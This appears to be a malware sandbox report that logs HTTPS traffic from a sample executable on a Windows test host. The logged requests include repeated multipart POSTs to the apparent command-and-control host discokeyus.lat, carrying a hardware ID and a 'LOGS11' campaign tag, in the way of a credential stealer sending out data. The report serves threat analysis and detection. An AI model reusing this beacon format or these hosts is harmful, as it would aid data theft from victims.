2024-12-20 15:20:04 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oi6p7n27mes6a2t8qavkjl3tda; expires=Tue, 15 Apr 2025 09:06:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TgRCwpG8V6S3KFXzy8t%2F3F5VmWzNwHO3ysNHa3ynqXVfTZHPlArf9nqjo1FhY0kmQCkmAxAEr2GcQt5VNwZdAb7AjYW7WSrgjGoPcl601E3TxD0eds4zxRQnpAa3CVbIwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509d3e69a5f02d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&min_rtt=1823&rtt_var=704&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=951&delivery_rate=1532004&cwnd=77&unsent_bytes=0&cid=d3d979ae3b4169b2&ts=864&x=0"
2024-12-20 15:20:04 UTC	249	IN	Data Raw: 34 36 65 0d 0a 57 51 68 73 5a 36 37 32 41 74 2b 36 30 6d 61 63 48 37 4d 4e 34 73 76 62 79 54 63 56 36 75 37 35 32 4a 31 6f 39 71 59 54 61 71 38 69 4b 68 70 46 6c 4d 49 75 2f 63 6d 33 52 4b 5a 72 77 58 69 48 35 2f 6d 6f 55 7a 66 51 69 4a 69 30 37 67 33 61 68 47 55 48 6a 57 4e 75 44 51 76 64 6b 79 37 39 33 36 70 45 70 6b 54 49 4c 34 65 6c 2b 66 4d 56 63 49 43 4d 6d 4c 54 2f 43 5a 33 4a 59 77 62 4d 4d 57 51 4c 44 38 75 56 5a 72 37 57 76 77 50 35 65 74 4a 6e 6a 4b 4b 32 6f 56 6f 33 78 73 79 63 6f 72 39 53 31 4f 74 32 48 73 34 55 61 52 38 4d 6a 49 73 75 70 4a 69 33 43 4c 34 6c 6b 57 79 48 71 62 65 76 55 33 36 43 68 70 47 38 2f 67 79 63 31 6e 6f 4d 78 7a 46 71 43 41 37 42 6e 48 4b 7a 33 4c 67 49 2f 33 44 53 4c 38 37 70 76 72 4d 56 4c 38 6a 66 Data Ascii: 46eWQhsZ672At+60macH7MN4svbyTcV6u752J1o9qYTaq8iKhpFlMIu/cm3RKZrwXiH5/moUzfQiJi07g3ahGUHjWNuDQvdky7936pEpkTIL4el+fMVcICMmLT/CZ3JYwbMMWQLD8uVZr7WvwP5etJnjKK2oVo3xsycor9S1Ot2Hs4UaR8MjIsupJi3CL4lkWyHqbevU36ChpG8/gyc1noMxzFqCA7BnHKz3LgI/3DSL87pvrMVL8jf
2024-12-20 15:20:04 UTC	892	IN	Data Raw: 71 62 6e 75 47 34 48 4a 59 51 36 4e 4a 43 51 58 52 63 75 59 49 4f 57 59 75 41 6a 77 65 4e 4a 67 68 36 69 35 75 56 70 33 69 34 53 54 76 76 55 46 6d 38 74 2f 41 73 6f 7a 59 77 6b 4b 79 35 78 6d 73 74 76 77 53 72 35 36 79 53 2f 59 36 5a 6d 37 56 6e 53 63 67 59 72 36 34 45 53 4e 68 48 59 45 6a 57 4d 71 43 41 76 4e 6d 57 43 76 30 4c 73 50 2b 32 2f 61 5a 6f 32 6b 75 61 5a 66 65 49 75 4d 6e 4c 44 31 42 5a 37 41 66 41 58 4c 4f 32 70 4f 53 34 79 54 65 50 32 41 38 43 66 37 62 64 5a 6a 6c 75 75 44 36 30 6f 35 6b 63 79 63 74 72 39 53 31 4d 78 30 43 38 34 77 5a 51 30 4e 78 34 5a 67 72 39 36 39 41 65 78 37 31 47 47 4b 71 71 75 68 57 33 47 4c 68 5a 43 7a 2b 67 32 51 68 44 39 49 79 69 4d 71 56 6b 58 74 6d 57 75 78 30 71 63 45 76 6d 4b 66 64 73 43 75 74 65 73 4e 4e 34 79 Data Ascii: qbnuG4HJYQ6NJCQXRcuYIOWYuAjweNJgh6i5uVp3i4STvvUFm8t/AsozYwkKy5xmstvwSr56yS/Y6Zm7VnScgYr64ESNhHYEjWMqCAvNmWCv0LsP+2/aZo2kuaZfeIuMnLD1BZ7AfAXLO2pOS4yTeP2A8Cf7bdZjluuD60o5kcyctr9S1Mx0C84wZQ0Nx4Zgr969Aex71GGKqquhW3GLhZCz+g2QhD9IyiMqVkXtmWux0qcEvmKfdsCutesNN4y
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 34 34 61 65 0d 0a 78 44 4e 35 66 43 67 76 72 34 42 74 53 63 4d 51 66 43 4e 47 49 4f 42 4d 69 5a 5a 4c 7a 56 76 41 33 39 63 64 31 6e 6a 61 57 39 70 46 31 2f 69 34 53 4a 74 50 45 4d 6b 73 52 30 53 49 4e 37 62 52 5a 46 6c 4e 52 45 73 38 2b 6b 44 37 78 49 30 6d 47 4f 72 71 2f 72 53 6a 6d 52 7a 4a 79 32 76 31 4c 55 79 6e 77 44 77 54 78 6a 44 77 62 4d 6e 6d 36 79 30 72 67 4d 2f 6e 44 51 5a 49 69 76 74 4b 42 61 65 49 2b 45 6d 4c 62 36 42 35 65 45 50 30 6a 4b 49 79 70 57 52 65 6d 61 59 36 7a 4a 38 6a 48 39 63 39 39 6f 6c 75 6d 6d 35 55 77 33 6a 34 44 62 34 72 38 41 6b 38 4e 31 42 63 63 34 62 67 6f 49 77 35 31 70 74 4d 71 36 43 50 42 76 33 47 57 46 70 37 57 75 57 6e 65 4a 6a 5a 57 77 39 45 72 61 68 48 59 51 6a 57 4d 71 49 51 6a 63 68 6d 71 32 79 66 49 78 2f 58 50 Data Ascii: 44aexDN5fCgvr4BtScMQfCNGIOBMiZZLzVvA39cd1njaW9pF1/i4SJtPEMksR0SIN7bRZFlNREs8+kD7xI0mGOrq/rSjmRzJy2v1LUynwDwTxjDwbMnm6y0rgM/nDQZIivtKBaeI+EmLb6B5eEP0jKIypWRemaY6zJ8jH9c99olumm5Uw3j4Db4r8Ak8N1Bcc4bgoIw51ptMq6CPBv3GWFp7WuWneJjZWw9ErahHYQjWMqIQjchmq2yfIx/XP
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 5a 61 6f 51 33 33 49 6b 39 57 6a 76 77 32 59 68 43 6c 49 78 7a 64 75 44 51 6e 46 6d 47 32 38 33 4c 63 4a 2b 6e 33 58 61 59 57 6f 73 71 4e 5a 65 49 4b 41 6e 37 62 32 44 4a 6a 48 63 67 36 4e 64 53 6f 4a 48 59 7a 4d 49 4a 7a 56 75 77 6a 2b 66 73 42 6f 77 4f 66 35 70 56 4e 33 79 4e 53 4e 71 75 67 4e 69 34 70 6f 53 4d 6f 33 4b 6c 5a 46 78 6f 5a 6c 73 39 79 36 41 66 70 78 32 32 2b 46 75 37 47 74 55 6e 75 41 69 5a 53 38 2b 67 65 54 7a 33 49 61 33 7a 68 75 41 41 6d 4d 32 69 43 36 77 50 42 63 76 6c 6a 47 62 4a 43 76 75 75 74 4b 4f 5a 48 4d 6e 4c 61 2f 55 74 54 45 66 77 54 47 50 47 45 46 41 63 69 55 62 62 62 57 76 67 33 79 64 64 31 6f 6b 71 53 38 6f 31 39 2b 6a 59 43 57 75 65 30 4a 6c 59 51 2f 53 4d 6f 6a 4b 6c 5a 46 36 36 64 58 6e 70 69 76 53 75 63 39 31 6d 50 41 Data Ascii: ZaoQ33Ik9Wjvw2YhClIxzduDQnFmG283LcJ+n3XaYWosqNZeIKAn7b2DJjHcg6NdSoJHYzMIJzVuwj+fsBowOf5pVN3yNSNqugNi4poSMo3KlZFxoZls9y6Afpx22+Fu7GtUnuAiZS8+geTz3Ia3zhuAAmM2iC6wPBcvljGbJCvuutKOZHMnLa/UtTEfwTGPGEFAciUbbbWvg3ydd1okqS8o19+jYCWue0JlYQ/SMojKlZF66dXnpivSuc91mPA
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 5a 34 67 38 79 45 39 4f 5a 4b 6b 38 67 78 55 49 30 38 59 67 59 4c 7a 35 4a 72 73 64 53 78 44 66 68 34 32 57 69 50 72 72 43 73 56 58 47 61 69 35 61 7a 2f 77 47 64 7a 6e 55 4a 78 6e 73 6b 54 67 4c 55 31 44 6a 39 36 72 63 53 37 6e 36 52 63 4d 36 77 2b 61 78 5a 4e 39 44 4d 6c 71 6a 2b 44 34 62 41 66 67 50 66 4d 47 77 4f 41 4e 36 54 62 4c 66 58 73 77 7a 7a 66 74 6c 39 67 4b 53 35 75 55 64 78 67 34 4c 62 39 4c 38 4e 6a 49 51 70 53 50 77 73 59 55 34 61 67 6f 30 67 75 74 54 77 58 4c 35 2b 32 32 4b 4f 75 37 32 74 58 6e 53 47 68 4a 36 79 2b 77 43 5a 79 33 6f 43 78 44 4e 71 41 51 44 45 6e 32 61 7a 32 62 59 49 38 7a 32 66 4c 34 65 78 2b 66 4d 56 55 4a 4b 42 6e 61 33 75 50 35 50 45 49 45 6a 53 64 58 4e 4f 41 73 44 55 4f 50 33 56 76 41 37 7a 65 4e 56 6e 68 36 71 34 70 Data Ascii: Z4g8yE9OZKk8gxUI08YgYLz5JrsdSxDfh42WiPrrCsVXGai5az/wGdznUJxnskTgLU1Dj96rcS7n6RcM6w+axZN9DMlqj+D4bAfgPfMGwOAN6TbLfXswzzftl9gKS5uUdxg4Lb9L8NjIQpSPwsYU4ago0gutTwXL5+22KOu72tXnSGhJ6y+wCZy3oCxDNqAQDEn2az2bYI8z2fL4ex+fMVUJKBna3uP5PEIEjSdXNOAsDUOP3VvA7zeNVnh6q4p
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 41 32 2b 4b 2f 42 4a 6e 43 63 41 6e 46 4d 32 6f 49 44 38 69 58 61 62 37 66 75 51 4c 31 66 74 74 67 68 36 2b 39 71 31 35 77 68 6f 71 65 73 66 5a 4b 32 6f 52 32 45 49 31 6a 4b 69 67 6d 33 6f 5a 53 73 39 75 72 52 4f 45 7a 79 43 2b 48 70 66 6e 7a 46 58 79 41 67 34 6d 2f 39 67 4b 51 7a 58 45 4d 78 7a 5a 74 44 67 44 42 6b 57 53 7a 33 4c 63 45 38 6e 4c 57 5a 34 2b 74 75 61 51 56 4f 63 69 4c 67 2f 71 6e 53 72 54 50 5a 79 6e 44 4d 48 68 4f 47 6f 4b 4e 49 4c 72 55 38 46 79 2b 63 39 68 75 69 4b 65 31 6f 31 46 6c 69 49 65 53 74 66 34 46 6c 4d 64 77 41 73 55 70 62 41 34 4f 78 4a 4e 6f 75 64 61 69 42 66 45 39 6e 79 2b 48 73 66 6e 7a 46 55 61 65 69 35 79 31 76 53 4f 54 33 33 41 43 7a 6a 42 6d 54 68 71 43 6a 53 43 36 31 50 42 63 76 6e 44 64 59 6f 53 37 74 61 74 56 66 6f Data Ascii: A2+K/BJnCcAnFM2oID8iXab7fuQL1fttgh6+9q15whoqesfZK2oR2EI1jKigm3oZSs9urROEzyC+HpfnzFXyAg4m/9gKQzXEMxzZtDgDBkWSz3LcE8nLWZ4+tuaQVOciLg/qnSrTPZynDMHhOGoKNILrU8Fy+c9huiKe1o1FliIeStf4FlMdwAsUpbA4OxJNoudaiBfE9ny+HsfnzFUaei5y1vSOT33ACzjBmThqCjSC61PBcvnDdYoS7tatVfo
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 38 51 2b 56 79 48 73 50 77 79 6c 72 42 41 6e 4e 6b 32 65 32 79 72 73 57 39 58 58 53 59 59 69 67 75 61 56 56 64 6f 57 4d 32 2f 53 2f 44 59 79 45 4b 55 6a 6f 47 48 30 59 44 34 36 33 64 36 76 53 74 77 6a 6f 64 74 42 73 6c 71 53 70 36 78 73 33 6d 59 75 4b 2b 71 63 63 68 4e 4e 32 46 34 4d 69 4b 67 6b 4a 6a 4d 77 67 74 74 65 2b 43 66 56 35 32 47 71 49 71 72 79 75 58 33 75 45 6a 5a 4f 7a 39 51 2b 52 77 6e 73 4c 77 7a 52 72 41 67 48 46 6d 6d 6e 39 6c 76 41 44 35 6a 32 4a 4c 37 61 35 76 72 4e 59 5a 38 71 2b 6d 4b 76 75 48 35 6e 55 64 30 72 69 4f 47 59 4e 41 4d 75 45 49 4b 4b 57 71 55 54 35 63 5a 45 33 77 4b 6d 39 70 31 5a 77 68 6f 4f 57 74 66 67 42 6d 38 35 2f 47 73 49 2b 59 67 49 4e 77 59 5a 71 74 38 71 35 44 66 4e 7a 32 58 32 44 36 66 66 72 55 6d 2f 49 31 4e 75 Data Ascii: 8Q+VyHsPwylrBAnNk2e2yrsW9XXSYYiguaVVdoWM2/S/DYyEKUjoGH0YD463d6vStwjodtBslqSp6xs3mYuK+qcchNN2F4MiKgkJjMwgtte+CfV52GqIqryuX3uEjZOz9Q+RwnsLwzRrAgHFmmn9lvAD5j2JL7a5vrNYZ8q+mKvuH5nUd0riOGYNAMuEIKKWqUT5cZE3wKm9p1ZwhoOWtfgBm85/GsI+YgINwYZqt8q5DfNz2X2D6ffrUm/I1Nu
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 64 4a 38 47 4d 34 2b 62 54 41 37 77 70 4e 30 75 74 61 32 42 4c 34 7a 6b 57 44 41 38 59 44 72 48 54 65 33 77 74 75 69 76 31 4c 55 38 58 49 47 77 7a 78 38 48 30 6a 76 67 33 61 33 77 2f 49 69 2b 57 7a 59 65 59 32 37 2b 65 55 56 63 63 6a 55 79 2f 53 2f 44 6f 57 45 4b 56 69 66 59 44 39 64 55 70 7a 47 66 2f 50 42 38 42 4b 2b 4a 59 4d 68 77 4c 76 35 38 78 55 77 69 35 36 4a 76 50 77 63 6c 34 4e 50 4e 75 30 77 66 41 38 49 78 35 68 65 67 38 32 7a 43 76 42 36 78 33 37 41 35 2f 6d 6b 46 53 2b 78 7a 4e 50 36 77 45 54 55 33 44 46 51 6a 51 35 70 41 41 76 4c 67 6e 48 77 2b 4c 73 53 2f 33 44 61 59 38 4b 6f 74 4c 74 53 4e 38 62 4d 6e 66 71 6e 57 74 71 45 64 52 6d 4e 59 7a 70 63 58 70 6e 48 4e 2b 32 4b 72 30 72 6e 50 63 63 76 32 50 76 33 36 30 63 33 30 4d 7a 63 75 65 30 59 Data Ascii: dJ8GM4+bTA7wpN0uta2BL4zkWDA8YDrHTe3wtuiv1LU8XIGwzx8H0jvg3a3w/Ii+WzYeY27+eUVccjUy/S/DoWEKVifYD9dUpzGf/PB8BK+JYMhwLv58xUwi56JvPwcl4NPNu0wfA8Ix5heg82zCvB6x37A5/mkFS+xzNP6wETU3DFQjQ5pAAvLgnHw+LsS/3DaY8KotLtSN8bMnfqnWtqEdRmNYzpcXpnHN+2Kr0rnPccv2Pv360c30Mzcue0Y
2024-12-20 15:20:04 UTC	1369	IN	Data Raw: 76 4e 4d 43 70 41 52 63 72 55 4f 4f 2b 57 38 41 44 76 50 59 6b 2f 30 76 4c 73 2b 41 49 6e 32 70 50 56 6f 37 38 63 31 4a 77 6a 52 6f 30 70 4b 6c 5a 46 69 35 64 79 72 39 36 7a 45 76 30 36 37 31 47 6d 71 72 36 74 56 6e 6d 66 6e 64 6d 56 2f 41 47 59 79 48 59 65 38 77 56 2f 44 51 76 43 6b 33 61 73 6d 50 35 45 38 54 32 4a 56 73 43 34 73 36 77 5a 50 38 53 64 69 4c 54 30 48 4a 4f 45 54 6b 61 4e 49 79 70 57 52 66 6d 58 62 72 50 66 70 68 57 7a 57 39 4a 6f 68 71 71 33 76 45 51 33 78 73 79 64 2b 71 64 59 32 6f 52 31 47 59 31 6a 4f 6c 78 65 6d 63 63 33 37 59 71 76 53 75 63 39 78 79 2f 59 2b 76 66 72 52 7a 66 51 7a 4e 79 30 38 67 75 58 79 6e 49 61 33 7a 31 70 47 41 61 4c 71 6c 36 59 31 62 30 42 38 48 72 76 55 61 47 6a 71 61 5a 61 63 4c 61 79 72 4b 76 34 47 74 62 69 63 Data Ascii: vNMCpARcrUOO+W8ADvPYk/0vLs+AIn2pPVo78c1JwjRo0pKlZFi5dyr96zEv0671Gmqr6tVnmfndmV/AGYyHYe8wV/DQvCk3asmP5E8T2JVsC4s6wZP8SdiLT0HJOETkaNIypWRfmXbrPfphWzW9Johqq3vEQ3xsyd+qdY2oR1GY1jOlxemcc37YqvSuc9xy/Y+vfrRzfQzNy08guXynIa3z1pGAaLql6Y1b0B8HrvUaGjqaZacLayrKv4Gtbic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49708	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:06 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=96VB72PPAQNAM8887 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12847 Host: discokeyus.lat
2024-12-20 15:20:06 UTC	12847	OUT	Data Raw: 2d 2d 39 36 56 42 37 32 50 50 41 51 4e 41 4d 38 38 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 35 39 41 38 39 33 34 36 38 39 37 45 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 36 56 42 37 32 50 50 41 51 4e 41 4d 38 38 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 36 56 42 37 32 50 50 41 51 4e 41 4d 38 38 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --96VB72PPAQNAM8887Content-Disposition: form-data; name="hwid"CE59A89346897E4AAC8923850305D13E--96VB72PPAQNAM8887Content-Disposition: form-data; name="pid"2--96VB72PPAQNAM8887Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-20 15:20:09 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9bjn8jag9lfncamr8qgeqij9vr; expires=Tue, 15 Apr 2025 09:06:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWrzpP6Oslws01CFSBunfb0wNBgMArkC3eUK6kAuJ7FGc59%2BLohlwI1xPal1SF0njXpqj8HIPFFBY4GjdEYB0zVNjhs4xlILFgM7DSBnJKNUNkelK2addZg3Njw2Y9r%2BPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509d4fbb0242c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1908&min_rtt=1807&rtt_var=750&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13784&delivery_rate=1615938&cwnd=127&unsent_bytes=0&cid=85f27ff61f90fc54&ts=3138&x=0"
2024-12-20 15:20:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:20:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49709	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:10 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1B4JX3EXEPILL0YF2G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15065 Host: discokeyus.lat
2024-12-20 15:20:10 UTC	15065	OUT	Data Raw: 2d 2d 31 42 34 4a 58 33 45 58 45 50 49 4c 4c 30 59 46 32 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 35 39 41 38 39 33 34 36 38 39 37 45 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 42 34 4a 58 33 45 58 45 50 49 4c 4c 30 59 46 32 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 42 34 4a 58 33 45 58 45 50 49 4c 4c 30 59 46 32 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --1B4JX3EXEPILL0YF2GContent-Disposition: form-data; name="hwid"CE59A89346897E4AAC8923850305D13E--1B4JX3EXEPILL0YF2GContent-Disposition: form-data; name="pid"2--1B4JX3EXEPILL0YF2GContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-20 15:20:14 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mn6qfss046oebq5ap8n0vff2af; expires=Tue, 15 Apr 2025 09:06:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kgGhHrXzuzD8VTZ0WX3IYQipIpe12cdgZgdKXLA8sTOJ2kHcL1qdm84w0oaOyk5y5rQW2GVbJ%2BuEgQplZpBMVVw6UezjvclUoAzcLTnQeOC3VaZRC3t12zkB5WY6esSeXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509d6d8e9a7cf9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1819&rtt_var=909&sent=14&recv=20&lost=0&retrans=1&sent_bytes=4206&recv_bytes=16003&delivery_rate=67049&cwnd=207&unsent_bytes=0&cid=88085494ee31a620&ts=3297&x=0"
2024-12-20 15:20:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:20:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49713	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:15 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZNCOZR7BVXCGSJTEI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20428 Host: discokeyus.lat
2024-12-20 15:20:15 UTC	15331	OUT	Data Raw: 2d 2d 5a 4e 43 4f 5a 52 37 42 56 58 43 47 53 4a 54 45 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 35 39 41 38 39 33 34 36 38 39 37 45 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 4e 43 4f 5a 52 37 42 56 58 43 47 53 4a 54 45 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 4e 43 4f 5a 52 37 42 56 58 43 47 53 4a 54 45 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --ZNCOZR7BVXCGSJTEIContent-Disposition: form-data; name="hwid"CE59A89346897E4AAC8923850305D13E--ZNCOZR7BVXCGSJTEIContent-Disposition: form-data; name="pid"3--ZNCOZR7BVXCGSJTEIContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-20 15:20:15 UTC	5097	OUT	Data Raw: eb 8b 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 fd 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d ae 2f 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 f5 47 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 be 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 d7 1f 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 fa a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQM/64G6(X&~`aO
2024-12-20 15:20:18 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vhl6r9fs6bukih1i9fk9tksl1i; expires=Tue, 15 Apr 2025 09:06:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uljbfSJIsK0bib%2B3ia0f0tkW9JSI8lxkPLg6bAGzFPHLzEyK1eL2ubcmjmI9QtMu8%2B6QM%2FZ0yKp1%2FbYSD5GJwL1ROy9HfxIQ1DqdmDiM8bs72pEiJPiU1MDNs9%2Fo0G2zIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509d8bef4d1a44-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1848&min_rtt=1832&rtt_var=720&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21387&delivery_rate=1486005&cwnd=128&unsent_bytes=0&cid=b82ddf90bf1664b7&ts=2265&x=0"
2024-12-20 15:20:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:20:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49714	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
